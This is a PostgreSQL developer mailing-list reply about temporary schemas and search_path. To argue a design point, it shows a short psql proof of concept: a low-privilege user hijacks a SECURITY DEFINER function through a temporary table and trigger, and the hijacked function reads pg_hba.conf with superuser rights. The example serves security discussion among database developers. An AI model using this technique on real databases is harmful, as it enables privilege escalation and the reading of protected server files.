Re: Anonymous code block with parameters

On 9/18/14 1:35 PM, Martijn van Oosterhout wrote:
> On Wed, Sep 17, 2014 at 10:17:22PM +0200, Pavel Stehule wrote:
>>> Because you still have to do
>>>
>>>      SELECT pg_temp.my_temp_function(blah);
>>>
>>> to execute it.
>>>
>>
>> this problem should be solvable. I can to use a temporary tables without
>> using pg_temp schema.
>
> Umm, IIRC it used to work that way but was changed to work like this.
> IIRC the reason was that anyone can create functions in the temp
> tablespace and thus hijack other functions that more priviledged
> functions might call.

The same argument applies to temporary tables *already*.  Consider:

=# create function oops() returns void as $$
$# begin insert into foo default values; end $$ language plpgsql
-# security definer;
CREATE FUNCTION
=# grant execute on function oops() to peasant;
GRANT

Then peasant does:

=> create temporary table foo();
CREATE TABLE
=> create function pg_temp.now_im_superuser() returns trigger as $$
$> begin raise notice '%', pg_read_file('pg_hba.conf'); return new; end
$> $$ language plpgsql;
CREATE FUNCTION
=> create trigger malicious before insert on pg_temp.foo
-> execute procedure pg_temp.now_im_superuser();
CREATE TRIGGER
=> select oops();
NOTICE: <contents of pg_hba.conf>

Personally, I think that if we're going to do something, we should be 
*hiding* temporary stuff from search_path, not bringing it more visible. 
  Having to either prefix everything with the schema name or set 
search_path for every SECURITY DEFINER function is a major PITA.


.marko